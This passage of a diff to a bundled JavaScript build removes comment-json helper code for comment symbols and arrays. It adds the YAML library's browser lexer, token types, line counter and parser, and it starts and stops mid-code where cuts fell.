= RAW_STRING_LITERALS.get(host); - if (!map4) { - map4 = /* @__PURE__ */ new Map(); - RAW_STRING_LITERALS.set(host, map4); + if (typeof ctrl === "function" && field === "key") + ctrl = ctrl(item, path2); + } + } + return typeof ctrl === "function" ? ctrl(item, path2) : ctrl; +} + +// node_modules/yaml/browser/dist/parse/cst.js +var BOM = "\uFEFF"; +var DOCUMENT = ""; +var FLOW_END = ""; +var SCALAR2 = ""; +function tokenType(source) { + switch (source) { + case BOM: + return "byte-order-mark"; + case DOCUMENT: + return "doc-mode"; + case FLOW_END: + return "flow-error-end"; + case SCALAR2: + return "scalar"; + case "---": + return "doc-start"; + case "...": + return "doc-end"; + case "": + case "\n": + case "\r\n": + return "newline"; + case "-": + return "seq-item-ind"; + case "?": + return "explicit-key-ind"; + case ":": + return "map-value-ind"; + case "{": + return "flow-map-start"; + case "}": + return "flow-map-end"; + case "[": + return "flow-seq-start"; + case "]": + return "flow-seq-end"; + case ",": + return "comma"; + } + switch (source[0]) { + case " ": + case " ": + return "space"; + case "#": + return "comment"; + case "%": + return "directive-line"; + case "*": + return "alias"; + case "&": + return "anchor"; + case "!": + return "tag"; + case "'": + return "single-quoted-scalar"; + case '"': + return "double-quoted-scalar"; + case "|": + case ">": + return "block-scalar-header"; + } + return null; +} + +// node_modules/yaml/browser/dist/parse/lexer.js +init_dirname(); +init_buffer2(); +init_process2(); +function isEmpty(ch) { + switch (ch) { + case void 0: + case " ": + case "\n": + case "\r": + case " ": + return true; + default: + return false; + } +} +var hexDigits = new Set("0123456789ABCDEFabcdef"); +var tagChars = new Set("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-#;/?:@&=+$_.!~*'()"); +var flowIndicatorChars = new Set(",[]{}"); +var invalidAnchorChars = new Set(" ,[]{}\n\r "); +var isNotAnchorChar = (ch) => !ch || invalidAnchorChars.has(ch); +var Lexer = class { + constructor() { + this.atEnd = false; + this.blockScalarIndent = -1; + this.blockScalarKeep = false; + this.buffer = ""; + this.flowKey = false; + this.flowLevel = 0; + this.indentNext = 0; + this.indentValue = 0; + this.lineEndPos = null; + this.next = null; + this.pos = 0; + } + /** + * Generate YAML tokens from the `source` string. If `incomplete`, + * a part of the last line may be left as a buffer for the next call. + * + * @returns A generator of lexical tokens + */ + *lex(source, incomplete = false) { + if (source) { + if (typeof source !== "string") + throw TypeError("source is not a string"); + this.buffer = this.buffer ? this.buffer + source : source; + this.lineEndPos = null; + } + this.atEnd = !incomplete; + let next = this.next ?? "stream"; + while (next && (incomplete || this.hasChars(1))) + next = yield* this.parseNext(next); + } + atLineEnd() { + let i7 = this.pos; + let ch = this.buffer[i7]; + while (ch === " " || ch === " ") + ch = this.buffer[++i7]; + if (!ch || ch === "#" || ch === "\n") + return true; + if (ch === "\r") + return this.buffer[i7 + 1] === "\n"; + return false; + } + charAt(n7) { + return this.buffer[this.pos + n7]; + } + continueScalar(offset) { + let ch = this.buffer[offset]; + if (this.indentNext > 0) { + let indent = 0; + while (ch === " ") + ch = this.buffer[++indent + offset]; + if (ch === "\r") { + const next = this.buffer[indent + offset + 1]; + if (next === "\n" || !next && !this.atEnd) + return offset + indent + 1; + } + return ch === "\n" || indent >= this.indentNext || !ch && !this.atEnd ? offset + indent : -1; + } + if (ch === "-" || ch === ".") { + const dt = this.buffer.substr(offset, 3); + if ((dt === "---" || dt === "...") && isEmpty(this.buffer[offset + 3])) + return -1; + } + return offset; + } + getLine() { + let end = this.lineEndPos; + if (typeof end !== "number" || end !== -1 && end < this.pos) { + end = this.buffer.indexOf("\n", this.pos); + this.lineEndPos = end; + } + if (end === -1) + return this.atEnd ? this.buffer.substring(this.pos) : null; + if (this.buffer[end - 1] === "\r") + end -= 1; + return this.buffer.substring(this.pos, end); + } + hasChars(n7) { + return this.pos + n7 <= this.buffer.length; + } + setNext(state) { + this.buffer = this.buffer.substring(this.pos); + this.pos = 0; + this.lineEndPos = null; + this.next = state; + return null; + } + peek(n7) { + return this.buffer.substr(this.pos, n7); + } + *parseNext(next) { + switch (next) { + case "stream": + return yield* this.parseStream(); + case "line-start": + return yield* this.parseLineStart(); + case "block-start": + return yield* this.parseBlockStart(); + case "doc": + return yield* this.parseDocument(); + case "flow": + return yield* this.parseFlowCollection(); + case "quoted-scalar": + return yield* this.parseQuotedScalar(); + case "block-scalar": + return yield* this.parseBlockScalar(); + case "plain-scalar": + return yield* this.parsePlainScalar(); + } + } + *parseStream() { + let line = this.getLine(); + if (line === null) + return this.setNext("stream"); + if (line[0] === BOM) { + yield* this.pushCount(1); + line = line.substring(1); + } + if (line[0] === "%") { + let dirEnd = line.length; + let cs = line.indexOf("#"); + while (cs !== -1) { + const ch = line[cs - 1]; + if (ch === " " || ch === " ") { + dirEnd = cs - 1; + break; + } else { + cs = line.indexOf("#", cs + 1); + } } - map4.set(normalized, raw); - }; - var get_raw_string_literal = (host, key) => { - if (!is_object(host)) { - return; + while (true) { + const ch = line[dirEnd - 1]; + if (ch === " " || ch === " ") + dirEnd -= 1; + else + break; } - const normalized = normalize_key(key); - if (normalized === null) { - return; + const n7 = (yield* this.pushCount(dirEnd)) + (yield* this.pushSpaces(true)); + yield* this.pushCount(line.length - n7); + this.pushNewline(); + return "stream"; + } + if (this.atLineEnd()) { + const sp = yield* this.pushSpaces(true); + yield* this.pushCount(line.length - sp); + yield* this.pushNewline(); + return "stream"; + } + yield DOCUMENT; + return yield* this.parseLineStart(); + } + *parseLineStart() { + const ch = this.charAt(0); + if (!ch && !this.atEnd) + return this.setNext("line-start"); + if (ch === "-" || ch === ".") { + if (!this.atEnd && !this.hasChars(4)) + return this.setNext("line-start"); + const s7 = this.peek(3); + if ((s7 === "---" || s7 === "...") && isEmpty(this.charAt(3))) { + yield* this.pushCount(3); + this.indentValue = 0; + this.indentNext = 0; + return s7 === "---" ? "doc" : "stream"; + } + } + this.indentValue = yield* this.pushSpaces(false); + if (this.indentNext > this.indentValue && !isEmpty(this.charAt(1))) + this.indentNext = this.indentValue; + return yield* this.parseBlockStart(); + } + *parseBlockStart() { + const [ch0, ch1] = this.peek(2); + if (!ch1 && !this.atEnd) + return this.setNext("block-start"); + if ((ch0 === "-" || ch0 === "?" || ch0 === ":") && isEmpty(ch1)) { + const n7 = (yield* this.pushCount(1)) + (yield* this.pushSpaces(true)); + this.indentNext = this.indentValue + 1; + this.indentValue += n7; + return yield* this.parseBlockStart(); + } + return "doc"; + } + *parseDocument() { + yield* this.pushSpaces(true); + const line = this.getLine(); + if (line === null) + return this.setNext("doc"); + let n7 = yield* this.pushIndicators(); + switch (line[n7]) { + case "#": + yield* this.pushCount(line.length - n7); + case void 0: + yield* this.pushNewline(); + return yield* this.parseLineStart(); + case "{": + case "[": + yield* this.pushCount(1); + this.flowKey = false; + this.flowLevel = 1; + return "flow"; + case "}": + case "]": + yield* this.pushCount(1); + return "doc"; + case "*": + yield* this.pushUntil(isNotAnchorChar); + return "doc"; + case '"': + case "'": + return yield* this.parseQuotedScalar(); + case "|": + case ">": + n7 += yield* this.parseBlockScalarHeader(); + n7 += yield* this.pushSpaces(true); + yield* this.pushCount(line.length - n7); + yield* this.pushNewline(); + return yield* this.parseBlockScalar(); + default: + return yield* this.parsePlainScalar(); + } + } + *parseFlowCollection() { + let nl, sp; + let indent = -1; + do { + nl = yield* this.pushNewline(); + if (nl > 0) { + sp = yield* this.pushSpaces(false); + this.indentValue = indent = sp; + } else { + sp = 0; + } + sp += yield* this.pushSpaces(true); + } while (nl + sp > 0); + const line = this.getLine(); + if (line === null) + return this.setNext("flow"); + if (indent !== -1 && indent < this.indentNext && line[0] !== "#" || indent === 0 && (line.startsWith("---") || line.startsWith("...")) && isEmpty(line[3])) { + const atFlowEndMarker = indent === this.indentNext - 1 && this.flowLevel === 1 && (line[0] === "]" || line[0] === "}"); + if (!atFlowEndMarker) { + this.flowLevel = 0; + yield FLOW_END; + return yield* this.parseLineStart(); } - const map4 = RAW_STRING_LITERALS.get(host); - return map4 ? map4.get(normalized) : void 0; - }; - var symbol = (prefix, key) => Symbol.for(prefix + COLON + key); - var symbol_checked = (prefix, key) => { - if (key) { - if (PROP_SYMBOL_PREFIXES.includes(prefix)) { - return symbol(prefix, key); + } + let n7 = 0; + while (line[n7] === ",") { + n7 += yield* this.pushCount(1); + n7 += yield* this.pushSpaces(true); + this.flowKey = false; + } + n7 += yield* this.pushIndicators(); + switch (line[n7]) { + case void 0: + return "flow"; + case "#": + yield* this.pushCount(line.length - n7); + return "flow"; + case "{": + case "[": + yield* this.pushCount(1); + this.flowKey = false; + this.flowLevel += 1; + return "flow"; + case "}": + case "]": + yield* this.pushCount(1); + this.flowKey = true; + this.flowLevel -= 1; + return this.flowLevel ? "flow" : "doc"; + case "*": + yield* this.pushUntil(isNotAnchorChar); + return "flow"; + case '"': + case "'": + this.flowKey = true; + return yield* this.parseQuotedScalar(); + case ":": { + const next = this.charAt(1); + if (this.flowKey || isEmpty(next) || next === ",") { + this.flowKey = false; + yield* this.pushCount(1); + yield* this.pushSpaces(true); + return "flow"; } - throw new RangeError( - `Unsupported comment position ${prefix} with key ${key}` - ); - } - if (NON_PROP_SYMBOL_PREFIXES.includes(prefix)) { - return Symbol.for(prefix); } - throw new RangeError(`Unsupported comment position ${prefix}`); - }; - var define2 = (target, key, value2) => Object.defineProperty(target, key, { - value: value2, - writable: true, - configurable: true - }); - var copy_comments_by_kind = (target, source, target_key, source_key, prefix, remove_source) => { - const source_prop = symbol(prefix, source_key); - if (!Object.hasOwn(source, source_prop)) { - return; + default: + this.flowKey = false; + return yield* this.parsePlainScalar(); + } + } + *parseQuotedScalar() { + const quote = this.charAt(0); + let end = this.buffer.indexOf(quote, this.pos + 1); + if (quote === "'") { + while (end !== -1 && this.buffer[end + 1] === "'") + end = this.buffer.indexOf("'", end + 2); + } else { + while (end !== -1) { + let n7 = 0; + while (this.buffer[end - 1 - n7] === "\\") + n7 += 1; + if (n7 % 2 === 0) + break; + end = this.buffer.indexOf('"', end + 1); } - const target_prop = target_key === source_key ? source_prop : symbol(prefix, target_key); - define2(target, target_prop, source[source_prop]); - if (remove_source) { - delete source[source_prop]; + } + const qb = this.buffer.substring(0, end); + let nl = qb.indexOf("\n", this.pos); + if (nl !== -1) { + while (nl !== -1) { + const cs = this.continueScalar(nl + 1); + if (cs === -1) + break; + nl = qb.indexOf("\n", cs); } - }; - var copy_comments = (target, source, target_key, source_key, remove_source) => { - PROP_SYMBOL_PREFIXES.forEach((prefix) => { - copy_comments_by_kind( - target, - source, - target_key, - source_key, - prefix, - remove_source - ); - }); - }; - var swap_comments = (array, from, to) => { - if (from === to) { - return; + if (nl !== -1) { + end = nl - (qb[nl - 1] === "\r" ? 2 : 1); } - PROP_SYMBOL_PREFIXES.forEach((prefix) => { - const target_prop = symbol(prefix, to); - if (!Object.hasOwn(array, target_prop)) { - copy_comments_by_kind(array, array, to, from, prefix, true); - return; - } - const comments = array[target_prop]; - delete array[target_prop]; - copy_comments_by_kind(array, array, to, from, prefix, true); - define2(array, symbol(prefix, from), comments); - }); - }; - var assign_non_prop_comments = (target, source) => { - NON_PROP_SYMBOL_KEYS.forEach((key) => { - const comments = source[key]; - if (comments) { - define2(target, key, comments); - } - }); - }; - var assign3 = (target, source, keys2) => { - keys2.forEach((key) => { - if (typeof key !== "string" && typeof key !== "number") { - return; - } - if (!Object.hasOwn(source, key)) { - return; + } + if (end === -1) { + if (!this.atEnd) + return this.setNext("quoted-scalar"); + end = this.buffer.length; + } + yield* this.pushToIndex(end + 1, false); + return this.flowLevel ? "flow" : "doc"; + } + *parseBlockScalarHeader() { + this.blockScalarIndent = -1; + this.blockScalarKeep = false; + let i7 = this.pos; + while (true) { + const ch = this.buffer[++i7]; + if (ch === "+") + this.blockScalarKeep = true; + else if (ch > "0" && ch <= "9") + this.blockScalarIndent = Number(ch) - 1; + else if (ch !== "-") + break; + } + return yield* this.pushUntil((ch) => isEmpty(ch) || ch === "#"); + } + *parseBlockScalar() { + let nl = this.pos - 1; + let indent = 0; + let ch; + loop: + for (let i8 = this.pos; ch = this.buffer[i8]; ++i8) { + switch (ch) { + case " ": + indent += 1; + break; + case "\n": + nl = i8; + indent = 0; + break; + case "\r": { + const next = this.buffer[i8 + 1]; + if (!next && !this.atEnd) + return this.setNext("block-scalar"); + if (next === "\n") + break; + } + default: + break loop; } - target[key] = source[key]; - copy_comments(target, source, key, key); - }); - return target; - }; - var is_raw_json = typeof JSON.isRawJSON === "function" ? JSON.isRawJSON : () => false; - var set_comment_line_breaks = (comment, before2, after2) => { - if (is_number(before2) && before2 >= 0) { - LINE_BREAKS_BEFORE.set(comment, before2); } - if (is_number(after2) && after2 >= 0) { - LINE_BREAKS_AFTER.set(comment, after2); + if (!ch && !this.atEnd) + return this.setNext("block-scalar"); + if (indent >= this.indentNext) { + if (this.blockScalarIndent === -1) + this.indentNext = indent; + else { + this.indentNext = this.blockScalarIndent + (this.indentNext === 0 ? 1 : this.indentNext); } - }; - var get_comment_line_breaks_before = (comment) => LINE_BREAKS_BEFORE.get(comment); - var get_comment_line_breaks_after = (comment) => LINE_BREAKS_AFTER.get(comment); - module5.exports = { - PROP_SYMBOL_PREFIXES, - PREFIX_BEFORE, - PREFIX_AFTER_PROP, - PREFIX_AFTER_COLON, - PREFIX_AFTER_VALUE, - PREFIX_AFTER, - PREFIX_BEFORE_ALL, - PREFIX_AFTER_ALL, - BRACKET_OPEN, - BRACKET_CLOSE, - CURLY_BRACKET_OPEN, - CURLY_BRACKET_CLOSE, - COLON, - COMMA, - MINUS, - EMPTY, - UNDEFINED, - symbol, - define: define2, - copy_comments, - swap_comments, - assign_non_prop_comments, - is_string, - is_number, - is_object, - is_raw_json, - set_raw_string_literal, - get_raw_string_literal, - set_comment_line_breaks, - get_comment_line_breaks_before, - get_comment_line_breaks_after, - /** - * Assign properties and comments from source to target object. - * - * @param {Object} target The target object to assign properties and comments - * to. - * @param {Object} source The source object to copy properties and comments - * from. - * @param {Array} [keys] Optional array of keys to assign. If - * not provided, all keys and non-property comments are assigned. If empty - * array, only non-property comments are assigned. - * @returns {Object} The target object with assigned properties and comments. - * - * @throws {TypeError} If target cannot be converted to object or keys is not - * array or undefined. - * - * @example - * const source = parse('{"a": 1 // comment a, "b": 2 // comment b}') - * const target = {} - * - * // Copy all properties and comments - * assign(target, source) - * - * // Copy only specific properties and their comments - * assign(target, source, ['a']) - * - * // Copy only non-property comments - * assign(target, source, []) - */ - assign(target, source, keys2) { - if (!is_object(target)) { - throw new TypeError("Cannot convert undefined or null to object"); - } - if (!is_object(source)) { - return target; - } - if (keys2 === UNDEFINED) { - keys2 = Object.keys(source); - assign_non_prop_comments(target, source); - } else if (!Array.isArray(keys2)) { - throw new TypeError("keys must be array or undefined"); - } else if (keys2.length === 0) { - assign_non_prop_comments(target, source); - } - return assign3(target, source, keys2); - }, - /** - * Move comments from one location to another within objects. - * - * @param {Object} source The source object containing comments to move. - * @param {Object} [target] The target object to move comments to. If not - * provided, defaults to source (move within same object). - * @param {Object} from The source comment location. - * @param {string} from.where The comment position (e.g., 'before', - * 'after', 'before-all', etc.). - * @param {string} [from.key] The property key for property-specific comments. - * Omit for non-property comments. - * @param {Object} to The target comment location. - * @param {string} to.where The comment position (e.g., 'before', - * 'after', 'before-all', etc.). - * @param {string} [to.key] The property key for property-specific comments. - * Omit for non-property comments. - * @param {boolean} [override=false] Whether to override existing comments at - * the target location. If false, comments will be appended. - * - * @throws {TypeError} If source is not an object. - * @throws {RangeError} If where parameter is invalid or incompatible with key. - * - * @example - * const obj = parse('{"a": 1 // comment on a}') - * - * // Move comment from after 'a' to before 'a' - * moveComments(obj, obj, - * { where: 'after', key: 'a' }, - * { where: 'before', key: 'a' } - * ) - * - * @example - * // Move non-property comment - * moveComments(obj, obj, - * { where: 'before-all' }, - * { where: 'after-all' } - * ) - */ - moveComments(source, target, { - where: from_where, - key: from_key - }, { - where: to_where, - key: to_key - }, override = false) { - if (!is_object(source)) { - throw new TypeError("source must be an object"); - } - if (!target) { - target = source; - } - if (!is_object(target)) { - return; - } - const from_prop = symbol_checked(from_where, from_key); - const to_prop = symbol_checked(to_where, to_key); - if (!Object.hasOwn(source, from_prop)) { - return; - } - const source_comments = source[from_prop]; - delete source[from_prop]; - if (override || !Object.hasOwn(target, to_prop)) { - define2(target, to_prop, source_comments); - return; - } - const target_comments = target[to_prop]; - if (target_comments) { - target_comments.push(...source_comments); + do { + const cs = this.continueScalar(nl + 1); + if (cs === -1) + break; + nl = this.buffer.indexOf("\n", cs); + } while (nl !== -1); + if (nl === -1) { + if (!this.atEnd) + return this.setNext("block-scalar"); + nl = this.buffer.length; + } + } + let i7 = nl + 1; + ch = this.buffer[i7]; + while (ch === " ") + ch = this.buffer[++i7]; + if (ch === " ") { + while (ch === " " || ch === " " || ch === "\r" || ch === "\n") + ch = this.buffer[++i7]; + nl = i7 - 1; + } else if (!this.blockScalarKeep) { + do { + let i8 = nl - 1; + let ch2 = this.buffer[i8]; + if (ch2 === "\r") + ch2 = this.buffer[--i8]; + const lastChar = i8; + while (ch2 === " ") + ch2 = this.buffer[--i8]; + if (ch2 === "\n" && i8 >= this.pos && i8 + 1 + indent > lastChar) + nl = i8; + else + break; + } while (true); + } + yield SCALAR2; + yield* this.pushToIndex(nl + 1, true); + return yield* this.parseLineStart(); + } + *parsePlainScalar() { + const inFlow = this.flowLevel > 0; + let end = this.pos - 1; + let i7 = this.pos - 1; + let ch; + while (ch = this.buffer[++i7]) { + if (ch === ":") { + const next = this.buffer[i7 + 1]; + if (isEmpty(next) || inFlow && flowIndicatorChars.has(next)) + break; + end = i7; + } else if (isEmpty(ch)) { + let next = this.buffer[i7 + 1]; + if (ch === "\r") { + if (next === "\n") { + i7 += 1; + ch = "\n"; + next = this.buffer[i7 + 1]; + } else + end = i7; } - }, - /** - * Remove comments from a specific location within an object. - * - * @param {Object} target The target object to remove comments from. - * @param {Object} location The comment location to remove. - * @param {string} location.where The comment position (e.g., 'before', - * 'after', 'before-all', etc.). - * @param {string} [location.key] The property key for property-specific - * comments. Omit for non-property comments. - * - * @throws {TypeError} If target is not an object. - * @throws {RangeError} If where parameter is invalid or incompatible with key. - * - * @example - * const obj = parse('{"a": 1 // comment on a}') - * - * // Remove comment after 'a' - * removeComments(obj, { where: 'after', key: 'a' }) - * - * @example - * // Remove non-property comment - * removeComments(obj, { where: 'before-all' }) - */ - removeComments(target, { - where, - key - }) { - if (!is_object(target)) { - throw new TypeError("target must be an object"); + if (next === "#" || inFlow && flowIndicatorChars.has(next)) + break; + if (ch === "\n") { + const cs = this.continueScalar(i7 + 1); + if (cs === -1) + break; + i7 = Math.max(i7, cs - 2); } - const prop = symbol_checked(where, key); - if (!Object.hasOwn(target, prop)) { - return; + } else { + if (inFlow && flowIndicatorChars.has(ch)) + break; + end = i7; + } + } + if (!ch && !this.atEnd) + return this.setNext("plain-scalar"); + yield SCALAR2; + yield* this.pushToIndex(end + 1, true); + return inFlow ? "flow" : "doc"; + } + *pushCount(n7) { + if (n7 > 0) { + yield this.buffer.substr(this.pos, n7); + this.pos += n7; + return n7; + } + return 0; + } + *pushToIndex(i7, allowEmpty) { + const s7 = this.buffer.slice(this.pos, i7); + if (s7) { + yield s7; + this.pos += s7.length; + return s7.length; + } else if (allowEmpty) + yield ""; + return 0; + } + *pushIndicators() { + switch (this.charAt(0)) { + case "!": + return (yield* this.pushTag()) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); + case "&": + return (yield* this.pushUntil(isNotAnchorChar)) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); + case "-": + case "?": + case ":": { + const inFlow = this.flowLevel > 0; + const ch1 = this.charAt(1); + if (isEmpty(ch1) || inFlow && flowIndicatorChars.has(ch1)) { + if (!inFlow) + this.indentNext = this.indentValue + 1; + else if (this.flowKey) + this.flowKey = false; + return (yield* this.pushCount(1)) + (yield* this.pushSpaces(true)) + (yield* this.pushIndicators()); } - delete target[prop]; } - }; + } + return 0; } -}); + *pushTag() { + if (this.charAt(1) === "<") { + let i7 = this.pos + 2; + let ch = this.buffer[i7]; + while (!isEmpty(ch) && ch !== ">") + ch = this.buffer[++i7]; + return yield* this.pushToIndex(ch === ">" ? i7 + 1 : i7, false); + } else { + let i7 = this.pos + 1; + let ch = this.buffer[i7]; + while (ch) { + if (tagChars.has(ch)) + ch = this.buffer[++i7]; + else if (ch === "%" && hexDigits.has(this.buffer[i7 + 1]) && hexDigits.has(this.buffer[i7 + 2])) { + ch = this.buffer[i7 += 3]; + } else + break; + } + return yield* this.pushToIndex(i7, false); + } + } + *pushNewline() { + const ch = this.buffer[this.pos]; + if (ch === "\n") + return yield* this.pushCount(1); + else if (ch === "\r" && this.charAt(1) === "\n") + return yield* this.pushCount(2); + else + return 0; + } + *pushSpaces(allowTabs) { + let i7 = this.pos - 1; + let ch; + do { + ch = this.buffer[++i7]; + } while (ch === " " || allowTabs && ch === " "); + const n7 = i7 - this.pos; + if (n7 > 0) { + yield this.buffer.substr(this.pos, n7); + this.pos = i7; + } + return n7; + } + *pushUntil(test) { + let i7 = this.pos; + let ch = this.buffer[i7]; + while (!test(ch)) + ch = this.buffer[++i7]; + return yield* this.pushToIndex(i7, false); + } +}; -// node_modules/comment-json/src/array.js -var require_array = __commonJS({ - "node_modules/comment-json/src/array.js"(exports28, module5) { - init_dirname(); - init_buffer2(); - init_process2(); - var { sort } = require_src6(); - var { - PROP_SYMBOL_PREFIXES, - UNDEFINED, - symbol, - copy_comments, - swap_comments - } = require_common6(); - var reverse_comments = (array) => { - const { length } = array; - let i7 = 0; - const max2 = length / 2; - for (; i7 < max2; i7++) { - swap_comments(array, i7, length - i7 - 1); +// node_modules/yaml/browser/dist/parse/line-counter.js +init_dirname(); +init_buffer2(); +init_process2(); +var LineCounter = class { + constructor() { + this.lineStarts = []; + this.addNewLine = (offset) => this.lineStarts.push(offset); + this.linePos = (offset) => { + let low = 0; + let high = this.lineStarts.length; + while (low < high) { + const mid = low + high >> 1; + if (this.lineStarts[mid] < offset) + low = mid + 1; + else + high = mid; } + if (this.lineStarts[low] === offset) + return { line: low + 1, col: 1 }; + if (low === 0) + return { line: 0, col: offset }; + const start = this.lineStarts[low - 1]; + return { line: low, col: offset - start + 1 }; }; - var move_comment = (target, source, i7, offset, remove2) => { - copy_comments(target, source, i7 + offset, i7, remove2); - }; - var move_comments = (target, source, start, count2, offset, remove2) => { - if (offset > 0) { - let i8 = count2; - while (i8-- > 0) { - move_comment(target, source, start + i8, offset, remove2); - } - return; + } +}; + +// node_modules/yaml/browser/dist/parse/parser.js +init_dirname(); +init_buffer2(); +init_process2(); +function includesToken(list, type3) { + for (let i7 = 0; i7 < list.length; ++i7) + if (list[i7].type === type3) + return true; + return false; +} +function findNonEmptyIndex(list) { + for (let i7 = 0; i7 < list.length; ++i7) { + switch (list[i7].type) { + case "space": + case "comment": + case "newline": + break; + default: + return i7; + } + } + return -1; +} +function isFlowToken(token) { + switch (token?.type) { + case "alias": + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": + case "flow-collection": + return true; + default: + return false; + } +} +function getPrevProps(parent2) { + switch (parent2.type) { + case "document": + return parent2.start; + case "block-map": { + const it2 = parent2.items[parent2.items.length - 1]; + return it2.sep ?? it2.start; + } + case "block-seq": + return parent2.items[parent2.items.length - 1].start; + default: + return []; + } +} +function getFirstKeyStartProps(prev) { + if (prev.length === 0) + return []; + let i7 = prev.length; + loop: + while (--i7 >= 0) { + switch (prev[i7].type) { + case "doc-start": + case "explicit-key-ind": + case "map-value-ind": + case "seq-item-ind": + case "newline": + break loop; } - let i7 = 0; - while (i7 < count2) { - const ii = i7++; - move_comment(target, source, start + ii, offset, remove2); + } + while (prev[++i7]?.type === "space") { + } + return prev.splice(i7, prev.length); +} +function fixFlowSeqItems(fc) { + if (fc.start.type === "flow-seq-start") { + for (const it2 of fc.items) { + if (it2.sep && !it2.value && !includesToken(it2.start, "explicit-key-ind") && !includesToken(it2.sep, "map-value-ind")) { + if (it2.key) + it2.value = it2.key; + delete it2.key; + if (isFlowToken(it2.value)) { + if (it2.value.end) + Array.prototype.push.apply(it2.value.end, it2.sep); + else + it2.value.end = it2.sep; + } else + Array.prototype.push.apply(it2.start, it2.sep); + delete it2.sep; } - }; - var remove_comments = (array, key) => { - PROP_SYMBOL_PREFIXES.forEach((prefix) => { - const prop = symbol(prefix, key); - delete array[prop]; - }); - }; - var get_mapped = (map4, key) => { - let mapped = key; - while (mapped in map4) { - mapped = map4[mapped]; + } + } +} +var Parser = class { + /** + * @param onNewLine - If defined, called separately with the start position of + * each new line (in `parse()`, including the start of input). + */ + constructor(onNewLine) { + this.atNewLine = true; + this.atScalar = false; + this.indent = 0; + this.offset = 0; + this.onKeyLine = false; + this.stack = []; + this.source = ""; + this.type = ""; + this.lexer = new Lexer(); + this.onNewLine = onNewLine; + } + /** + * Parse `source` as a YAML stream. + * If `incomplete`, a part of the last line may be left as a buffer for the next call. + * + * Errors are not thrown, but yielded as `{ type: 'error', message }` tokens. + * + * @returns A generator of tokens representing each directive, document, and other structure. + */ + *parse(source, incomplete = false) { + if (this.onNewLine && this.offset === 0) + this.onNewLine(0); + for (const lexeme of this.lexer.lex(source, incomplete)) + yield* this.next(lexeme); + if (!incomplete) + yield* this.end(); + } + /** + * Advance the parser by the `source` of one lexical token. + */ + *next(source) { + this.source = source; + if (this.atScalar) { + this.atScalar = false; + yield* this.step(); + this.offset += source.length; + return; + } + const type3 = tokenType(source); + if (!type3) { + const message = `Not a YAML token: ${source}`; + yield* this.pop({ type: "error", offset: this.offset, message, source }); + this.offset += source.length; + } else if (type3 === "scalar") { + this.atNewLine = false; + this.atScalar = true; + this.type = "scalar"; + } else { + this.type = type3; + yield* this.step(); + switch (type3) { + case "newline": + this.atNewLine = true; + this.indent = 0; + if (this.onNewLine) + this.onNewLine(this.offset + source.length); + break; + case "space": + if (this.atNewLine && source[0] === " ") + this.indent += source.length; + break; + case "explicit-key-ind": + case "map-value-ind": + case "seq-item-ind": + if (this.atNewLine) + this.indent += source.length; + break; + case "doc-mode": + case "flow-error-end": + return; + default: + this.atNewLine = false; } - return mapped; + this.offset += source.length; + } + } + /** Call at end of input to push out any remaining constructions */ + *end() { + while (this.stack.length > 0) + yield* this.pop(); + } + get sourceToken() { + const st2 = { + type: this.type, + offset: this.offset, + indent: this.indent, + source: this.source }; - var CommentArray = class _CommentArray extends Array { - // - deleteCount + items.length - // We should avoid `splice(begin, deleteCount, ...items)`, - // because `splice(0, undefined)` is not equivalent to `splice(0)`, - // as well as: - // - slice - /** - * Changes the contents of an array by removing or replacing existing - * elements and/or adding new elements in place. - * Comments are automatically preserved and repositioned during the operation. - * - * @param {...*} args Arguments passed to Array.prototype.splice - * @returns {CommentArray} A new CommentArray containing the deleted elements. - */ - splice(...args) { - const { length } = this; - const ret = super.splice(...args); - let [begin, deleteCount, ...items] = args; - if (begin < 0) { - begin += length; - } - if (arguments.length === 1) { - deleteCount = length - begin; - } else { - deleteCount = Math.min(length - begin, deleteCount); - } - const { - length: item_length - } = items; - const offset = item_length - deleteCount; - const start = begin + deleteCount; - const count2 = length - start; - move_comments(this, this, start, count2, offset, true); - return ret; - } - /** - * Returns a shallow copy of a portion of an array into a new CommentArray object. - * Comments are copied to the appropriate positions in the new array. - * - * @param {...*} args Arguments passed to Array.prototype.slice - * @returns {CommentArray} A new CommentArray containing the extracted - * elements with their comments. - */ - slice(...args) { - const { length } = this; - const array = super.slice(...args); - if (!array.length) { - return new _CommentArray(); - } - let [begin, before2] = args; - if (before2 === UNDEFINED) { - before2 = length; - } else if (before2 < 0) { - before2 += length; + return st2; + } + *step() { + const top = this.peek(1); + if (this.type === "doc-end" && (!top || top.type !== "doc-end")) { + while (this.stack.length > 0) + yield* this.pop(); + this.stack.push({ + type: "doc-end", + offset: this.offset, + source: this.source + }); + return; + } + if (!top) + return yield* this.stream(); + switch (top.type) { + case "document": + return yield* this.document(top); + case "alias": + case "scalar": + case "single-quoted-scalar": + case "double-quoted-scalar": + return yield* this.scalar(top); + case "block-scalar": + return yield* this.blockScalar(top); + case "block-map": + return yield* this.blockMap(top); + case "block-seq": + return yield* this.blockSequence(top); + case "flow-collection": + return yield* this.flowCollection(top); + case "doc-end": + return yield* this.documentEnd(top); + } + yield* this.pop(); + } + peek(n7) { + return this.stack[this.stack.length - n7]; + } + *pop(error2) { + const token = error2 ?? this.stack.pop(); + if (!token) { + const message = "Tried to pop an empty stack"; + yield { type: "error", offset: this.offset, source: "", message }; + } else if (this.stack.length === 0) { + yield token; + } else { + const top = this.peek(1); + if (token.type === "block-scalar") { + token.indent = "indent" in top ? top.indent : 0; + } else if (token.type === "flow-collection" && top.type === "document") { + token.indent = 0; + } + if (token.type === "flow-collection") + fixFlowSeqItems(token); + switch (top.type) { + case "document": + top.value = token; + break; + case "block-scalar": + top.props.push(token); + break; + case "block-map": { + const it2 = top.items[top.items.length - 1]; + if (it2.value) { + top.items.push({ start: [], key: token, sep: [] }); + this.onKeyLine = true; + return; + } else if (it2.sep) { + it2.value = token; + } else { + Object.assign(it2, { key: token, sep: [] }); + this.onKeyLine = !it2.explicitKey; + return; + } + break; } - if (begin < 0) { - begin += length; - } else if (begin === UNDEFINED) { - begin = 0; + case "block-seq": { + const it2 = top.items[top.items.length - 1]; + if (it2.value) + top.items.push({ start: [], value: token }); + else + it2.value = token; + break; } - move_comments(array, this, begin, before2 - begin, -begin); - return array; - } - unshift(...items) { - const { length } = this; - const ret = super.unshift(...items); - const { - length: items_length - } = items; - if (items_length > 0) { - move_comments(this, this, 0, length, items_length, true); + case "flow-collection": { + const it2 = top.items[top.items.length - 1]; + if 